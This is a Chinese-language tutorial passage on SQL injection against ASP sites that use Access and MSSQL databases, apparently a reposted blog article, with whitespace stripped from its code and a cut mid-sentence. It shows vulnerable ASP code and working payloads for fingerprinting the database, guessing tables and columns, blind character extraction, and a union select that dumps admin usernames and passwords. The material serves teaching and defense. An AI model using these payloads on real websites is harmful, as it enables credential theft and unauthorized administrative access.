Sql注入攻击技术初探rSite:hi.baidu.com/goodbears简介:sql注入一般针对基于web平台的应用程序由于很多时候程序员在编写程序的时候没有对浏览器端提交的参数进行合法的判断,可以由用户自己修改构造参数(也可以是sql查询语句),并传递至服务器端获取想要的敏感信息甚至执行危险代码和系统命令就形成了sql注入漏洞,时至今日任然有很大一部分网站存在sql注入漏洞,可想而知sql注入攻击的危害,下面就目前sql注入攻击技术进行总结,让我们更加了解这种攻击与防御方法一、access数据库注入攻击技术目前国内很大一部分网站都是采用asp+access搭建成的本文演示网站是在虚拟机搭建的一套留言板程序(留言板首页)点击公告连接此时注意观察地址栏=1Gshow.asp后面跟了一个id参数,其值为数字1,下面我们来看一下服务器端的gshow.asp中的读取公告内容的代码%setrs=server.CreateObject(adodb.recordset)sql=select*fromgonggaowhereid=&request.QueryString(id)rs.opensql,conn,1,3ifrs.eoforrs.bofthenresponse.write(暂无公告内容)else%divalign=center%=rs(titles)%br/%=rs(content)%%=rs(addtime)%/div%endifrs.closesetrs=nothing%可以很明显的看到程序在接收到浏览器端传递过来的id参数时,没有经过任何过滤就直接进入数据接查询了,那么我们怎么来通过这个漏洞来获取我们想要的信息呢,测试之前我们是不知道对方所使用的数据库类型也不知道数据库里面有哪些表、字段等等(类似blackboxtest),一般情况下asp可以与access和mssql数据库结合,首先我们来判断一下数据库类型在id参数后面加上andexists(select*frommsysobjects)注:mysysobjects是access的系统表完整的测试语句:=1andexists(select*frommsysobjects)回车提交到服务器端如图,根据服务器返回结果,(MicrosoftJETDatabaseEngine错误'80040e09'不能读取记录;在'msysobjects'上没有读取数据权限。/bbs/gshow.asp,行11)说明存在msysobjects表,也就是说后台是采用的access数据库(若服务器返回[Microsoft][ODBCSQLServerDriver][SQLServer]对象名'msysobjects'无效。则说明是sqlserver数据库,相关方法会在下面讲述,这里重点讨论access数据库)下面我们来进一步获取我们想要的信息一般网站重要的信息就是后台管理员登陆帐号密码了,我们提交=1andexists(select*fromusers)(判断数据库中是否存在users表)根据图中返回结果提示users表不存在,那么我们继续来提交=1andexists(select*fromadmin服务器端返回的数据和=1一样这是因为参数一起带入数据库里面就变成了select*fromgonggaowhereid=1andexists(select*fromadmin)由于存在admin表条件成立就和select*fromgonggaowhereid=1的查询返回结果一样了,找到了admin表现在就以此类推猜测字段提交=1andexists(selectuserfromadmin)服务器返回”至少一个参数没有被指定值”说明不存在user字段,继续提交=1andexists(selectadminfromadmin)服务器返回正常,说明admin表里面存在字段”admin”(这个字段一般就是管理员登陆名称)再提交=1andexists(selectpasswordfromadmin)说明存在password字段(就是登陆密码了),继续猜测第一个字段内容长度=1and(selecttop1len(admin)fromadmin)=5得到下图所示的页面说明长度为5现在可以根据得到的信息猜解字段内容了,具体方法就是and(selecttop1asc(mid(admin,x,1))fromadmin)x将表中第一条记录指定字段内容的某个字符的ascii值进行比较,以此类推从而猜测出字段内容本文中提交=1and97=(selecttop1asc(mid(admin,1,1))fromadmin)这种方法手动来输入很浪费时间,下面介绍另外一种高效率的方法,unionselect--联合查询.小知识:UNION运算符可以将两个或两个以上上SELECT语句的查询结果集合合并成一个结果集合显示,即执行联合查询。UNION的语法格式为:select_statementUNION[ALL]selectstatement[UNION[ALL]selectstatement][…n]其中selectstatement为待联合的SELECT查询语句。ALL选项表示将所有行合并到结果集合中。不指定该项时,被联合查询结果集合中的重复行将只保留一行。联合查询时,查询结果的列标题为第一个查询语句的列标题。因此,要定义列标题必须在第一个查询语句中定义。要对联合查询结果排序时,也必须使用第一查询语句中的列名、列标题或者列序号。在使用UNION运算符时,应保证每个联合查询语句的选择列表中有相同数量的表达式,并且每个查询选择表达式应具有相同的数据类型,或是可以自动将它们转换为相同的数据类型。在自动转换时,对于数值类型,系统将低精度的数据类型转换为高精度的数据类型。在包括多个查询的UNION语句中,其执行顺序是自左至右,使用括号可以改变这一执行顺序。例如:查询1UNION(查询2UNION查询3)已知数据库中有两个表(gonggao,admin)其中test表结构和内容如下“公告”表里面有5个字段,admin里面有3个字段在sql视图中执行查询语句select*fromgonggaowhereid=1unionselect1,2,3,4,5fromadmin,(5是gonggao表的字段个数)返回下图所示查询结果返回的第一条数据是1,2,3,4,5而程序将第一次查询到的数据输出到网页%setrs=server.CreateObject(adodb.recordset)sql=select*fromgonggaowhereid=&request.QueryString(id)rs.opensql,conn,1,3ifrs.eoforrs.bofthenresponse.write(暂无公告内容)else%divalign=center%=标题:&rs(titles)%br/%=内容:&rs(content)%%=br发布时间:&rs(addtime)%/div%endifrs.closesetrs=nothing%在浏览器地址栏输入=1unionselect1,2,3,4,5fromadmin返回如下结合数据库表和代码来看在网页中输出了titles、content、addtime这三个字段内容,在表中就是2,3,4的位置接下来我们把2、3、或4输出的地方换成我们想要查询到的管理员信息,上面我们已经知道了管理员表里面存在admin、password字段,构造语句=1unionselect1,admin,password,4,5fromadmin这样就获取了管理员表admin中的数据,有了这些信息接下来能够干什么事情大家都清楚了吧。(利用查询出来的管理员帐号登陆可以进行非法管理)细心的读者会提问怎样知道字段个数的。那么怎样去判断字段个数呢,有两个方法:一个就是用oderbyx排序(X为猜测的字段个数,返回正常则说明表中字段个数大于或等于x),本例中在存在注入漏洞的地址后面加上orderby4根据图中返回信息可以判定字段数=4,继续提交orderby6如图,出现了错误提示,说明字段数是小于6的,再提交orderby5返回正常页面结合上面就可以断定字段数为5了,再使用unionselect即可查询出想要的信息;另一个是用unionselectx,x来累加猜测如果返回上图所示的错误信息就累加,直到页面输出数据的地方出现数字然后再将字段名替换数字就能够实现快速得到数据库信息了。二、Mssql注入技术目前mssql数据库在web应用程序开发中也占了很大一部分比例,很多脚本语言都能够与之相结合,下面来介绍基于asp+Mssqlweb环境下的注入攻击技术,本文测试平台为一套新闻发布程序主界面如下点击进入新闻连接=1先来分析下news.asp的读取数据代码%DimrsCate'定义记录集对象Setrs=Server.CreateObject(ADODB.RecordSet)SetrsCate=Server.CreateObject(ADODB.RecordSet)'设置SQL语句,读取指定的新闻记录sqlString=SELECT*FROMNewsWHEREId=&Request(id)rs.OpensqlString,Conn,1,3'替换新闻正文中的特殊标记rqtContent=rs(content)%centertableborder=0borderColorLight=#000080cellSpacing=5cellpadding=0width=98%trtdwidth=100%align=centerheight=50strongfontcolor=redsize=4%=stitle%/font/strong/td/trtrtdalign=centerstrong%=RS(title)%/strongbr%=RS(posttime)%brhrcolor=blue/td/trtrtd%=rqtContent%/td/tr/table/center%rs.CloseSetrs=Nothing%同样是接受客户端提交来的参数id没有经过任何过滤就进入了数据库查询,就导致注入漏洞产生。下面开始测试首先在参数后面提交单引号’服务器马上返回下图所示的典型的错误提示这是因为此时的